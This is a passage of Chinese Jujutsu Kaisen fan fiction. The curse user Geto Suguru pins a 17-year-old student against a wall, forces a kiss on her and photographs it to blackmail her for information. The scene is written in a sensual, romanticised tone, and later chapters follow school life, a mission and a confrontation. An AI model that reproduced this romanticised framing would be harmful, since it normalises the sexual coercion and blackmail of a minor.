但他又没杀掉他们,她怎么就对他落下了眼泪呢? 不是歇斯底里的痛哭,而是可怜的、像秋天枝头被吹得颤颤巍巍的树叶那样,每一次抽泣都仿佛用尽了全身的力气,却又拼命地压抑着声音。 “为什么、为什么要这样做……” 泪水无声地顺着脸颊滑到了下巴,最终滴在了胸口,洇开一点深色。 夏油杰捻着她的发尾,轻慢地说道:“他们不是瞧不起你吗?我只是给他们一点教训罢了。” 可是女孩用力摇头,哽咽着说道:“不是的……不是的……” 她转身,想要从他身边逃走。 “我要告诉五条老师……” 话音未落,人已经被可怕的诅咒师扣在了墙上。他太庞大了,像一座山似的笼罩在她的身上。 她的脸贴在他的掌心上,不至于挨着冰冷的墙面。但凉意仍然透过单薄的衣服渗入她的肌肤,让她不自觉地绷紧了身体。 男人的另一只手抵在她的鼻尖,指关节因微微用力而泛起白色,好似无法挣脱的牢笼。 温热的吐息突然逼近,将她耳后的一块肌肤熏得发烫,激起她细小的战栗。 “别动。”低沉的嗓音混合着危险的气息,在狭小的空间里不容分说地压下。 她下意识地缩了缩肩膀,手却无处安放,只能无措地按在墙上,留下一道道痕迹。 “你、你太过分了!”强撑出来的镇定一戳就破,她知道自己的嗓音中带着哭腔吗? 大概是知道的吧。 她极力挣扎着,却被他的膝盖按住,封锁了所有的退路。彼此的衣服在混乱的动作中摩擦,发出窸窣的暧昧响声。 彼时,他忽然掐住了她的下巴,迫使她抬起头来看他。她对上那双深紫色的眼睛,那里翻涌着她读不懂的浓烈情绪。深不见底的水面映出她惊慌的模样,犹如落入猎人陷阱的小鹿。 “告诉悟吗?”他玩味似的开口道,“告诉他什么呢?就说……他最看重的学生,和一个诅咒师勾结上了?” 她的眼睛里含着一汪快要溢出来的泪水,还在试图打动他。 “你、你不是五条老师最好的朋友吗……” “是呀,我当然是你的五条老师最好的朋友。”他轻声细语地说道,“所以,传一点消息给我,也没关系的。” “不、不行……” 她的话没能说完,在这个无人的巷子里,十七岁的少女被夺走了第一次亲吻。 她的喉咙里发出呜咽声,很快又被尽数吞下。他莽撞地搅动着,不由分说地进攻,直到她放弃抵抗。 稍稍退出一点,男人的呼吸有点乱了,他调笑着说道:“哭什么,这也是我的第一次,你又不亏。” 女孩只是一个劲地摇头。 他的学习能力太强了,很快从生涩变得熟练。舌尖卷走她的泪珠,尝到了淡淡的咸味。她的眼角还泛着红,脸蛋在宽大的掌心中显得格外娇小。 伴随着咔嚓一声,这个画面被定格在了手机之中。 “这下没办法了。”不怀好意的诅咒师在她的耳廓上留下湿漉漉的痕迹,开口道,“这可是你勾结诅咒师的证据呀。” 回应他的,是 猝不及防甩在脸上的巴掌。 女孩含怒带怨地瞪了他一眼,对自己使用了术式。她非常用力地推开了他,知道自己不可能是他的对手,转过身踉踉跄跄地跑了。 夏油杰摸了摸微红的脸颊,将照片保存下来。 “嗯……还不能发给悟呢。”他叹道,“再等等吧。” 第94章 “……确实有一个新生。”今野桃松开了如蚌一样紧闭的双唇,她妥协道,“他叫做乙骨忧太。” “乙骨忧太啊……”夏油杰把玩着她的手指,像细数什么珍宝似的一根根摩挲过去,“是个怎样的人呢?” 今野桃往回抽了抽,没能抽动自己的手。她深深地叹了口气,隐忍地开口:“忧太是个可怜的孩子,但他内心善良,跟你不会是一路人的。” 房间里陷入了不安的寂静中,良久,夏油杰开口道:“跟我不是一路人?在你看来,我是什么样的人?” 今野桃没有说话。她低着头,用沉默来表达。 毕竟有时候,不说话也是一种回答。 身材高大的男人站起身,好像一堵墙,把本就不多的阳光全都遮住。他披散于肩膀的黑发在地板上投射出张牙舞爪的影子,蜿蜒扭曲地攀上女人的脖子。 “你是想要激怒我吗?”夏油杰对她宽容地笑道,“放心好啦,我不会伤害你的。你想想看呀,从我们第一次见面起,我什么时候伤害过你呢?悟那么喜欢你,如果我伤害了你,他肯定会来找我麻烦的。” “夏油……学长。”他听见她这么喊他,“你还记得当初,你和五条学长一起想要践行的理想吗?” 她的眉心蹙着,生出细细的纹路,睫毛微微颤动,似风中坠下的蝶翅。她自下往上地望着他,目光三分哀切,七分乞求。任是再铁石心肠的人,也会被她打动。 夏油杰也不例外。 他垂下眼睑,遮住了那一点点波澜。 “理想?我现在正在践行的道路上呀。”他侧过头,避开她的注视,“我难道没有保护你吗?像你这样弱小的咒术师,上次如果不是我出现,你恐怕又要凶多吉少了吧。” 今野桃哑然。 是的,她合理怀疑总监部又不当人了,偷偷安排了一只一级咒灵偷袭她,结果被当时不知道是不是“偶然”路过的夏油杰祓除了。 作为六年来五条悟唯一的学生,她也经受过太多次袭击。那些被五条悟打败的人自知不是五条悟的对手,就想捏一捏她这个软柿子。 可惜的是,她总是能化险为夷。 今野桃抿起了嘴角,肩膀塌了下去。 “我是很感谢你,可是……” “要谢谢我的话,那就来抱抱我吧。”夏油杰慢慢地将她拉到了怀里,轻声细语地说道,“我很难受呢,小桃。” 她的手指蜷起又松开,像是不安定的心。 然而,她最终还是环住了他的腰,咒力柔和地涌入他的身体,一点一点抚平他内心的褶皱。因为吞噬太多咒灵而掀起惊涛骇浪的的情绪也变得安定下来,身体轻飘飘的,好像脱下了什么重担。 夏油杰闭上了眼睛,遮住那一闪而过的笑意。 怎么办呢,小桃,谁让你这么心软。 咒术师可都是疯子呢,太温柔对待的话,只会召来觊觎…… 送走了难搞的诅咒师,今野桃还没来得及喘口气,就接到了五条悟的电话。他请她到医院里来一趟,禅院真希和乙骨忧太受伤了。 这也是没办法的吧,第一天入学就去实地练习,乙骨忧太恐怕都还不知道怎么运用咒力保护自己。 今野桃赶到医院,禅院真希已经做了初步的治疗,现在只需要躺在病床上好好休息。以咒术师的可怕体质,应该不会需要很久,更别说她还是个天与咒缚。 今野桃上上下下地仔细打量了一番少年,直把他看得面红耳赤。 “小桃老师,怎么了?”他小声问道。 “没事,第一次出任务,你做得很好呢。”她鼓励道。 乙骨忧太攥了攥衣服,不好意思地对她笑了笑:“是里香和真希还有老师保护了我。” 今野桃点点头,竟说出了一句令人相当惊讶的话:“那里香还好吗?” 她在关心一个咒灵。 乙骨忧太愣了愣,好半天才结结巴巴地回答:“应该……应该还好吧……” “那就好,大家都没事呢。” 对于咒术师这个行业来说,没残废、没留下什么不可逆的损伤,就是没事。 “还有我呢还有我呢。”五条悟靠在长椅上,不满地嚷嚷道,“小桃过来都不关心我一下吗?” 今野桃想都没想地说道:“什么?竟然会被一只这么弱小的咒灵伤害,你真的是五条老师吗?” 五条悟噗嗤一声笑了出来,因为被绷带遮住,所以今野桃并未看见从她走过来后,他眼睛里就浮现出来的凝滞的光芒。 直到现在才略微消散了一点。 “来的好慢啊,”他拉长了声音道,“是被什么事情绊住了吗?” 女人的身体僵了僵,随后不太自然地往后别了一下头发,说道:“还不是因为你突然就叫我过来,我都准备休息了。” “原来是这样啊。”五条悟点了点头。 他的好学生显然并不想继续这个话题,她转而看向乙骨忧太,关心地握住了他的手腕。在他瞪大的眼睛里,浅浅笑道:“不用觉得不好意思,这是每个学生第一次祓除任务都要做的。” 还是个十四五岁的小孩子呢,就不得不直面死亡和血腥,如果不好好安抚,心理一定会出现问题的。 乙骨忧太懵懂地点头。 几分钟后,她松开了他。 “好了,今晚一定会做个好梦的。”今野桃揉了揉他的短发。 乙骨忧太不自觉地蹭了蹭,在那只温暖的手心将要离开时,甚至有点留恋地追了上去。 像是什么小动物一样。 今野桃低低地笑了两声。 乙骨忧太的耳根渐渐也泛起了红色,他的眼神飘忽,手指抠着裤缝,来遮掩自己的局促。 “嗯哼。”五条悟忽然站了起来,开口道,“忧太,你到这里坐着,我跟小桃老师有点话要说。” “好、好的。” 今野桃茫然地被他推动着往前走,直到走进了楼梯间,安全门在身后咯吱地响了响。 医院的灯光是惨白的,空气里漂浮着消毒水的味道。她咕哝着“有什么着急的事情”,想要转身的时候,才发现两人的距离有点太过靠近了。 男人弯着腰,下巴搁在她的肩膀上。白色的短发翘起来,像刷子一样扫过她的肌肤,带来一点痒意。 “把我的糖给学生吃,这件事我就原谅你了。”五条悟用大拇指勾起了眼睛上的绷带一角,露出一点湛蓝色,“但是你背着我跟杰见面,那怎么能行呢?” “我没有……” “还想撒谎。”危险的目光锁定着她,五条悟意味深长地说道,“杰都留下痕迹了哦。” “杰的咒力残秽,我是不可能认错的。” 第95章 夏油杰可真是个混蛋啊。 背对着五条悟,今野桃冷静地想。 咒 力残秽这种东西,不使用咒术是不会留下的,那家伙一定是在她不注意的时候偷偷用了术式。 普通咒术师不借助道具的话,很难察觉到它,但它在“六眼”之下被一览无余。 要读档回去吗?可是仔细想想,这好像也不算什么很严重的问题。 夏油杰这个诅咒师的名号对咒术师这个阵营来说,水份很大。因为他几乎不对咒术师出手,只伤害普通人。 而在绝大多数人眼中,普通人和咒术师是不一样的。普通人如蚂蚁一样渺小又数量繁多,哪里比得上咒术师珍贵。 也因此,总监部对他睁一只眼闭一只眼。明知道夏油杰就在盘星教,也不会特意去讨伐他。 或许,那些人还在沾沾自喜。 “你在怪我吗,老师。”今野桃闭了闭眼睛,镇定地说道,“怪我被诅咒师找上门,没有全力反抗哪怕付出生命?” 五条悟愣住,他张了张嘴巴,好半天不知道该说什么。 她的话语太激烈了,像是一把利剑,捅向他的心口。 不等他反应过来,女人用手扶住了额头,她疲倦地抹了一把脸,闷闷地说道:“抱歉,老师,我只是有点太累了。” 五条悟默默地直起了身。 是啊,她才是一个二级咒术师,被杰那样的特级诅咒师找上门,又能做什么呢? 危险的气息被一扫而空,五条悟挠了挠脸颊,干巴巴地说道:“好吧,我就是想问一下,杰有对你说什么吗?” “他问我,关于忧太的事情。”今野桃垂下眼睑,慢慢转过身,过白的灯光打在她的脸上,让她看起来没什么精神,“我只告诉了他忧太的名字,其他什么都没说。” 能做到这个程度,她一定花费了大量心力和夏油杰周旋。 五条悟其实早就有所猜测,关于夏油杰是否蓄意接近了自己的学生。比如偶尔几次恰到好处的帮助,和似有若无的靠近。 但他以为,那是杰对他学生的好奇,而非对今野桃本人。 现在看来,跟他想的有点出入。 肩膀转动的幅度拉开了两人之间的距离。但今野桃没有趁机后退,反而向前了一步。 她比五条悟要矮一个头,两人紧紧挨着的时候,她正好可以把脸埋进他的胸口。 细长的手指抓住了他的衣摆,她的额头抵着他的前胸,增加的重量和隐隐约约的热度都让他有点别扭。 恍惚间,五条悟想起很久以前,他生疏地带着她的时候。 那一届一共就只有两个学生,都是女孩子。娇娇软软的女孩,一看就吃不得苦。五条悟苦恼的同时又悄悄松了一口气,想着或许要不了多久,自己就要解脱了。 谁知道,一个女孩确实坚持不下去,退学了。另一个女孩却始终跟在他的身后。 哪怕遇到再强大、再可怕的咒灵,哪怕伤痕累累,也没有喊过一声苦。 只是……在祓除失败后,难免觉得气馁。 这些情绪没有任何朋友可以倾诉,只能向老师寻求慰藉。 那时的她,就是这样抱住他的。 当然,还是孩子的小桃抱住他的时候没有现在这么熟练,也害怕被拒绝,所以动作是很慢很轻的,只要他表露出一点抗拒的意味,她就会立刻像受惊的兔子那样缩回去。 但是,安慰学生、鼓励学生是老师应该做的事情吧? 五条悟困惑地想,所以他允许了她向他伸手,甚至不太习惯地回抱住了她。 他的动作很僵硬,手臂甚至都不敢压在她的肩膀上,生怕自己不小心把她压坏了。但女孩抓着他的力气很大,仿佛远洋的船终于找到了可以停泊的港口。 他听见了被压抑得很低的抽噎声。 ‘老师,我是不是很差劲……’她这么问道。 确实很差劲,和他相比,他当年刚入学的时候就能把一级咒灵当玩具揍。 如果她是以其他任何一种身份,比如同学、亲戚……之类的出现在他面前,他决计不会多给她一个眼神。 但她是他的学生。是他的第一个学生。 在成为老师前,夜蛾正道认真地对他说过,学校是花园,学生是其中生长的花。老师的责任,就是要让鲜花尽情盛开。他可以给鲜花施肥浇水,也可以给它修剪枝叶,但决不能忽视、放弃。 ‘杰会成为现在的样子,我也有很大的责任。’夜蛾正道非常严肃地说,‘悟,高专是咒术师的起点,而老师则是他们的引路人。’ 五条悟听懂了。 所以现在,他用尽了自己所有的耐心,对她说道:‘是的,你很差劲。’ ‘……’女孩在短暂的沉默后,哭得更大声了。 ‘不过嘛,’他的手掌慢慢地落在她的头顶,‘我会好好教你的。能学到我三分本领,应该也够你用了。’ 非常狂妄的语气,但又是那么理所当然。 ‘我会的!’女孩抬起头,用哭得通红的眼睛大声说道,‘我会努力跟上老师的!’ 她没有食言。 虽然实力还是那么……糟糕,但她也在为了咒术界更好的未来、为了达成五条悟的理想,而努力奋斗。 她拒绝了总监部的邀请,拒绝了更好的未来,选择站在五条悟的身边,成为一名心理老师。 因为很少出任务,她的工资不高,只拿着微薄的薪水。但五条悟不得不承认,她在高专帮了他很多。最明显的就是,她入职以后,高专的退学率降低了,毕业率提高了。 京都校那边甚至拐弯抹角地说过几次挖墙脚的事情,都被他骂回去了。 开什么玩笑,这可是他的学生诶! 是他一手带大的、辛辛苦苦养好的花!怎么能让别人摘走! 所以,他怎么舍得对她太过苛责。 “又在撒娇了啊。”五条悟嘟囔着,“怎么还像个小孩子一样。” “明明是老师突然变得好凶。”今野桃甚至敢伸出拳头,不轻不重地砸他。 五条悟受了这两下,无奈地说道:“好吧,是我错了。” 恐怕亲生的孩子都不敢对他这样做。 但她没有顺水推舟地接下他的道歉,她在他的怀里碾了碾,退了出来,摇摇头轻声说道:“我没有怪老师。我知道的,老师只会比我更累。” 被寄予厚望的咒术界最强,每天睡觉的时间只有四个小时。 “你啊……”五条悟用力揉了一把她的头发,“哼哼,把我气个半死又来哄我吗。” 他转身拉开楼梯间的大门,自顾自地走了出去。 “等等,老师,忧太是在那边……” “我知道。”五条悟头也没回地摆了摆手,“你在这里照看一下他们吧,真希醒了就可以带他们回学校了。我啊,要去和那些烂橘子聊聊天咯。” “可是……” 她的话还没说完,五条悟已经不见了。 今野桃头疼地叹了口气,找到了乙骨忧太。他还乖巧地坐在长椅上,一步都没有离开。 她坐在了他的边上,把五条悟的安排告诉了他。乙骨忧太当然不会反对,闻言讷讷点头。 安静的气氛让他有点不适应,来来往往的医生脚步匆匆,总能让他想到不太好的画面。忽然,乙骨忧太开口道:“为什么小桃老师是心理老师,不是心理医生呢?感觉是医生的话,会更有权威感吧。” 今野桃侧过头,用温柔的目光注视着他,回道:“因为我不觉得来向我寻求帮助的学生是‘生病’了,也不希望用‘生病’来解释作为咒术师的痛苦。” 才刚刚走上这条路的乙骨忧太似懂非懂。 “没关系,当你觉得难过的时候,就来找我吧。”今野桃虚虚地握住他的手,再次松开时,两颗糖果落入他的手心,“你知道我的办公室在哪吗?” “……我会去找的。”乙骨忧太攥着糖,郑重点头。 今野桃对他扬了扬嘴角,笑吟吟地说道:“还有一颗糖是给里香的。” “诶?!” 乙骨忧太费了老大的功夫才安抚下躁动 的诅咒女王,承诺回去就把糖给她吃,所以绝对不能在这个地方显露原型。 看着她盛满笑意的温婉模样,乙骨忧太莫名觉得她的温柔中藏着些许狡黠。 不不不,他怎么能这样揣测老师呢…… 禅院真希醒后,他们返回学校,日子慢慢地走上正轨。乙骨忧太在周末跑了一趟商场,买回了一大袋糖果和其他零食。 这是要送给小桃老师的礼物。 趁着午休的时候,他顺着禅院真希告诉他的方向,向办公室走去。 为了学生的隐私,心理办公室远离其他老师的办公室,在一处安静偏僻的地方。乙骨忧太远远地从繁茂的绿叶中看见屋子一角,他鼓起勇气,站在了门口,抬起手想要敲门。 然而,里面忽然传出了奇怪的动静。 那是极力抑制的哭腔,还有几声干呕。 “抱歉,是我太用力了。”女人轻柔婉转的声音隔着门板有些模糊,“我会温柔一点的。” 屋内再次陷入安静。 乙骨忧太僵在门口,好半天才慢慢放下了手。 ……是他来得不是时候吗? 要不然,还是下次再来吧。 悄悄后退,乙骨忧太本该顺着原路返回。但鬼使神差地,他绕到了窗户下面。 风吹动窗帘,露出时有时无的一处能够窥见屋内的缝隙。 乙骨忧太弯腰,立时瞪大了眼睛。 有着白色发丝的少年坐在椅子上仰着头,微微张开嘴唇。女人扶着他的肩膀,身体向他倾斜。 乙骨忧太听见小桃老师无奈地说道:“棘,要不还是算了……” 然而他的那位同期却拉住了老师的手臂,虽然因为背对着,他看不见狗卷棘的表情,但显然他很坚持。 老师脸上的无奈越发浓重,她一点一点折下腰肢,靠近了少年。 忽然,似乎察觉到了外人的视线,她掀起眼帘,望了过来。 第96章 乙骨忧太跑得很快,在被发现前,他就隐没于绿荫之中了。 他听见脚步声靠近了窗户,窗帘被掀开,女老师四处张望了一番后,又回到了男生面前。 “好吧好吧,别着急……” 温言软语渐渐低下去,乙骨忧太没有继续往下听。他有点狼狈地从灌木丛中钻出来,把头上的枯叶碎枝摘下,面色凝重地走进了男生宿舍。 他躺在床上,深思不定,只要闭上眼,就是办公室里的场景。他难以自制地想,狗卷同学和小桃老师,他们是在做什么? 若是换做他以前学校里的那些人,恐怕会以为老师和学生之间,大概有什么不可告人的秘密。 但那是小桃老师,那个会温柔拥抱他的小桃老师。他不信她会做出那种违背道德的事情。 ‘棘,要不还是算了……’ 她的声音在耳边响起,乙骨忧太猛地坐了起来。 是了,小桃老师显然是要拒绝的,是狗卷同学不肯放开老师。小桃老师似乎也不太会拒绝,狗卷同学稍微坚持一下,她就妥协了。 这怎么能行呢……不能利用老师的善意啊…… 乙骨忧太直到午休结束都还在想这件事。 回到教室,禅院真希已经在了。她擦拭着自己的武器,十分投入的样子。 “下、下午好……”乙骨忧太小声打了个招呼。 禅院真希朝他抬了抬下巴:“下午好。” 教室里面只有他们两个人,是难得的打听信息的好机会。 “那个……真希。”乙骨忧太努力想要拉近和同学的关系,幸好她没有反驳他的称呼,让他稍微按了安心,“小桃老师只是心理老师,不会教我们其他学科吗?” 禅院真希停下了动作,扭头看他:“你想打听小桃老师的事情?” 乙骨忧太缩了缩脖子,怯怯地点头。 “小桃老师和家入老师一样,算是我们学校的后勤部吧。不过家入老师更忙,因为她有反转术式,能治疗咒力留下的伤。所以家入老师会接受学校外的咒术师的求助,但小桃老师只负责学生。”禅院真希说道,“除了我们主动去找小桃老师,小桃老师也会不定期地来找我们,平时也会观察我们。” “观、观察我们?!”乙骨忧太迟疑地问道,“这是什么意思?” “就是字面意思啊。”禅院真希无语地看了他一眼,“观察我们的身心健康。对咒术师来说,有时候内心的折磨远大于身体的痛苦。但内心的折磨很难说出口,它看不见摸不着,不能感同身受的话,只会让人觉得矫揉造作。” 可是小桃老师总能洞察到他们心中的脆弱,不必他们忸怩地求助,就主动表达出了倾听的姿态。 乙骨忧太低下了头。 尤其是小孩子的痛苦,在大人看来,那都不过是无病呻。吟。 “如果你还想要知道更多关于小桃老师的事情,可能去问棘会更好。”禅院真希意有所指地说道,“他和小桃老师的关系最好了。” “诶?”乙骨忧太惊讶开口,“为什么呢?” “很简单啊,因为他们都是那种……很会关心别人的人。”禅院真希说道。 小桃老师关心狗卷棘,狗卷棘也关心小桃老师,关系好不是理所当然的吗。 禅院真希并不觉得奇怪,可乙骨忧太心中的疑惑仍然没能解开。 这……听上去感觉狗卷棘性格温柔,但和他看见的好像不太一样啊…… 就在他思考的时候,教室的门被拉开,正被他们议论的狗卷棘走了进来。 “海带。”他打招呼的方式也很特别。 禅院真希瞥了眼打完招呼后就一直沉默的乙骨忧太,撇撇嘴。 明明刚刚还有那么多问题想问的样子,结果现在又不说话了。真是奇怪的家伙。 上课的时候,乙骨忧太偷偷用余光瞄向旁边的男生,他虽然有半张脸隐藏在围巾之下,但从露出的那双又大又漂亮的眼睛里可以看出他的心情很好。 课堂上讲的内容对家系出身的咒术师来说过于浅显了,白发男生偶尔会发呆走神。他的手指勾着围巾的边缘,大拇指时不时蹭过喉咙的位置。 他确实很开心。 为自己又一次抓住机会和小桃老师独处。 虽然……他知道她有点为难,但她没有拒绝他。 课间的时候,狗卷棘突然扭头对乙骨忧太开口道:“大芥?” 虽然不知道“大芥”是什么意思,但从语气上,是在询问他? 乙骨忧太连忙摇头:“没事。” 禅院真希掂了掂一根粉笔,然后把它当做暗器扔向了狗卷棘。好在男生反应不慢,一把抓住了粉笔。 “你是不是去找了小桃老师?”她问道。 狗卷棘愣了一下,没想到自己的行踪竟然被她发现了。但这也不是什么见不得人的事情,闻言便点了点头。 “哼。”禅院真希嗤了一声,到底没说什么。 她几乎没有主动去找过那位心理老师,好感值也是同期中最低的。 但她对那位老师并没有任何意见,也并不讨厌她。 她只是……只是不愿饮鸩止渴。 把心托付给别人,交给别人保管,这种行为实在是太愚蠢了。 室内课程结束,接下来就是室外训练。乙骨忧太的进步是肉眼可见的,两个多月过去,他的眉眼间也多了几分坚毅。 直到五条悟接了个电话走过来,对活动肩膀的狗卷棘说道:“棘,你有一个指名任务。因为这次的诅咒很适合由你来对付,所以过去两三下解决掉吧。” 狗卷棘面色淡然地颔首回答:“鲑鱼。” 然后五条悟又转过去看乙骨忧太:“你也一起去吧,去辅助棘。” “辅助……?”乙骨忧太紧张地握着刀柄,“我可以吗?” “当然。”五条悟拍了拍他的肩膀,“想要解开诅咒,就要了解诅咒,这不正是你来到高专的目的吗?” 乙骨忧太深吸了一口气,郑重地点头:“我知道 了。” 没关系,毕竟还有五条老师在呢。 …… “哎呀。”下了车,都到达目的地了,五条悟才悠悠地说道,“不好意思啦,忧太,棘,我突然有点事情,不能在这里陪你们了。” “啊……好、好的。”乙骨忧太除了应和还能怎么办。 “不过不用担心,我找了一个老师来顶替我。”五条悟朝后面那辆刚刚停下的车招手,“小桃!” 女人从车上下来,她没有穿常服,而是换上了和五条悟一样的高专制服,走过来时两人竟有些神似。 是强者的气场?可是……小桃老师不是二级咒术师吗? 疑惑的念头一闪而逝,乙骨忧太看见小桃老师不轻不重地锤了一下五条老师的肩膀。 “可恶,我要双倍的加班费!”她不满地咕哝着。 “好呀,回来的时候你还可以顺路去逛街,想买什么刷我的卡就行。”五条悟满不在乎地说道。 今野桃轻哼了一声,算是勉强满意。 她摸了摸狗卷棘的短发,说道:“这次的任务本来有棘一个就够了,再加上忧太辅助,祓除咒灵绰绰有余。” 狗卷棘在她的掌心接触到自己的头发时,眯了眯眼睛。假如他有一双小狗耳朵,现在一定会往两边倒吧。 “我会努力的……”乙骨忧太抿了抿嘴说道。 不知道为什么,他面对小桃老师会比面对五条老师更紧张一点。 “那么,加油咯。”五条悟给他们比了个加油的手势,目送着三人走进“帐”中。 在他们的背影逐渐被黑暗吞没后,他笑吟吟地对伊地知洁高说道:“你也回去吧。” “我吗?”作为辅助监督的伊地知洁高呆了两秒,“那他们等下怎么回去?” “不用担心,不是还有小桃吗。”五条悟抬起头,绷带下的眼睛似乎在眺望远处,“走吧,顺便送一下我。” 总觉得要发生什么事情。 伊地知洁高推了推眼镜,顺从地回答:“好的。” 但如果是五条悟的话……应该什么都可以做到吧…… 实力弱小的咒灵聚集在一起,成千上万,看一眼就让人起一身鸡皮疙瘩。 如果是让只有单体攻击能力的咒术师来,绝对会相当头疼。但对狗卷棘而言,就是一句话的事情。 “爆。炸吧。” 轻飘飘的一句话,让眼前的咒灵彻底烟消云散。 狗卷棘潇洒转身,火光在他身后变成了衬托他高大形象的背景板。乙骨忧太惊叹地看着他,为自己同期非凡的实力。 “好厉……”害! 可惜乙骨忧太的话还没说完,狗卷棘就咳咳了几下,发出了沙哑的声音。 “金枪鱼蛋黄酱。”他委屈地耷拉下眉毛,试图用围巾挡住嘴巴。 “金枪鱼蛋黄酱”是狗卷棘最喜欢的馅料,他通常只会在需要被关注的时候说。 大概就是……“请看看我”的意思。 真可爱啊,没办法和其他人顺利沟通、但又希望得到关心的样子,和小狗也很像呢。 今野桃握住了他的手腕,她低头,小心翼翼地用指腹触碰他嘴角凸起的咒纹。 “很痛吧。”她叹气,“果然还是太勉强了。” “木鱼花。” “是是是,知道你勇敢了。”今野桃从口袋里掏出治疗喉咙的药,“快喝吧。” 狗卷棘叼着瓶子,几口喝完。 身为咒言师,出任务的时候随身带喉咙药是习惯。但……不是有小桃老师在吗。所以偷懒忘记,也是能理解的吧。 “任务算是完成了吗。”乙骨忧太走到“帐”前,却摸到了一层坚硬。 “帐”没有升起来。 “奇怪……”他嘀咕道。 今野桃的眸光却已经沉了下去。 “小心!” 金色的光柱从地下冒出来,带着危险的气息。今野桃拽了没反应过来的乙骨忧太一把,被光柱蹭过的衣角化作了灰烬。 好可怕! 一个浑身长毛、生着一对尖牙、像哺乳动物和昆虫结合在一起的咒灵出现在他们身后,那双凸出来的复眼转动两下,定在了三人身上。 “跑!” 咒灵的攻击一下接着一下,几乎让他们毫无招架之力。而且,它有意攻击人和人之间的空隙,迫使他们三个分开。 等到回过神,才发现他们跑向了不同的方向。 今野桃撑着膝盖,靠在墙上喘气。心跳还没恢复平静,她就又艰难地扶着墙起身,想要去寻找自己的学生。 “小桃。” 一声温柔的呼唤自暗处传来,今野桃动作僵住,脸色苍白地望了过去。 比咒灵更加可怕的诅咒师从阴影中款款走出,对她弯了弯眼睛。 他似乎没感觉到女人颤抖的身体,自顾自地揽住了她的肩膀,嘴唇蹭过她柔软的肌肤,亲昵地说道:“好久不见。” 第97章 极恶的诅咒师有一片柔软的嘴唇,他显然是一个非常注重外表的男人,今野桃没有感觉到一点翘起来的死皮。 还没来得及反应,他的吻就覆了上来,被她险而又险地避开了。 什么好久不见,也就三个月的时间而已。 “夏油杰。”她抛去了敬语,直呼他的名字,“你到底想做什么?” “好凶啊。”诅咒师并不为她的失礼而生气,他抬手,指尖出现了一张卡片,“我可是好心来送忧太丢失的学生证的呢。” 忧太的学生证? 今野桃抬眼看去,确实是乙骨忧太的学生证。怎么会在夏油杰的手上? 她定了定神,伸手去抓:“你把它给我,我会还给忧太……” 手腕翻转,学生证又消失了。 “那可不行。”夏油杰笑盈盈地说道,“万一你不还呢?所以我得当面给他才行。” 今野桃深深地凝视着他,仿佛想要透过他的外表,窥探他的内心。 这次出现,夏油杰换上了他的“经典皮肤”——五条袈裟。明明是供奉神明的法衣,穿在他的身上却有一种说不清道不明的特殊气质。 他不是普度众生的佛陀,而是诱人堕落的恶魔。 “夏油学长,不管你想做什么,不要牵扯到学生。”颇具责任感的老师还在为下面到处逃跑的孩子们争取机会,“他们是咒术界的未来,是五条老师精心培养的‘同行者’。” 咒术界的未来……同行者…… 夏油杰装模作样的笑容淡了,他垂着眼,视线虚浮地落在她的脸上。 他认识她的时候,她才十五岁,如今时光流转,她也有二十一岁了。或许是一毕业就回到校园担任老师,她的身上仍然带着学生气,那双眼睛清澈如水,倒映出他脏污的灵魂。 “没有用的。”他短促地笑了笑,语气中带着轻蔑,“这些都是……毫无意义的,这个世界,糟透了。” 这句话激怒了她。 “毫无意义?那做什么才是有意义的呢?”显然非常敬重五条老师的女人揪住了他的衣领,“像你一样逃避、放纵,才是有意义的吗?五条老师一直在为了每个人的幸福而努力,他所做的一切,都是有意义的!” 明明刚刚看见他的时候,整个人怕得要死,像被戳了一下的仓鼠。现在倒好,一下子变得跟女战神似的,好像他再多说一句,她就要和他打起来。 这是什么?爱的力量? “你很喜欢悟啊。”他掐住她的下巴,逼迫她用一种很不舒服的姿势抬起头,“但据我所知,高专给你的薪水不高吧。” “我、我又不是为了钱才留下的……”她皱着眉,想要挣扎。 衣服的摩擦声显得格外暧昧,急促的心跳伴随着越来越沉重的呼吸声响起。 “那是什么?理想?还是……” 夏油杰的另一只手顺着她的肩膀下滑,轻松地就扣住了她的两只手腕,把她锁在了怀里。 “那就是为了悟?”他拉长了尾音,说道,“我记得,我们好像有一张照片,还留在我的手机里吧?那可是我们的first-kiss 纪念哦。” 女人的脸瞬间涨得通红,她甚至抬起了膝盖,想要狠狠给他一击。 可惜两人体型相差太大,这点攻击如蚍蜉撼树,完全不值一提。 “让悟看见的话,他一定会以为,自己的学生在很早就背叛了他吧……” 砰! 女人猛地往上一顶,额头撞上了他的下颌。她对自己使用了术式,增加了身体的强度。 哪怕夏油杰以极快的反应调动自己的咒力挡住了这一击,仍旧被撞击的余波给冲得两眼一花。 抓住这个空档,女人像游鱼似的从他的怀里钻了出去,然后瞬间攻守反转,他被她揪住头发,狠狠地掼在了地上。 疼痛从最先接触到地面的肩膀上传来,然后有什么尖锐的东西抵住了他的心脏。 “绝不会允许你,做出任何伤害五条老师的事情!” 夏油杰睁开眼睛,对上一双愤怒的瞳孔。 好像有两团冰冷的火焰在那双黑曜石般的眸子里燃烧着,他甚至怀疑,只要他再说错一个字,就会被烈焰彻底燃烧,成为灰烬。 她的胸口剧烈起伏,汗水从额头滑落到眼睫,将纤长的睫毛打湿,凝结在一起。 “你说这个世界糟透了,那你做了什么呢?”她质问,眉骨压低,在眼窝处投下锋利的阴影,“你明明是特级咒术师,比我们所有人都要强,我们做不到的事情,你一定可以做到吧!那你做了什么呢?!” 夏油杰沉默着。 他做了什么?他…… “你逃走了!”她的眼圈也泛起了红色,泪水飞快地蓄积在眼睑下倔强地摇摇晃晃半天后,滴落在了他的脸上,然后顺着肌肤滑进了他的发间。 她的身体再次颤抖起来,却不是因为恐惧,而是愤怒。 “你抛下了老师,逃走了!” 夏油杰怔怔地看着虚空中的某个点,目光没有焦距。 他好像在思考,又好像什么都没想。 在漫长的无言中,他握住了她的手腕,把她的那把匕首推开。 “好吧。”他再次挂上了微笑的假面,“知道你对抗诅咒师的决心了,不愧是悟教出来的学生呢。” 他说着毫不相干的话,来搪塞她的所有问题。 “你……” “哎呀,真是让人想起过去的青春啊。”夏油杰在她的指关节上咬了一口,留下了一个浅浅的痕迹。然后他侧过头,开口道,“还不出来吗,悟。” 鞋底踏过坚硬的地面,发出有规律的声音。一个高挑的人影渐渐靠近,最后停在了大概三米远的地方。 是五条悟。 他不知道什么时候出现在这里,也不知道听了多久。 “听到学生对自己这么崇拜,悟是不是很高兴?”夏油杰勾住今野桃的脖子,语气夸张,“早知道这孩子会这么听话,我当初就该把她直接掳走的嘛。” 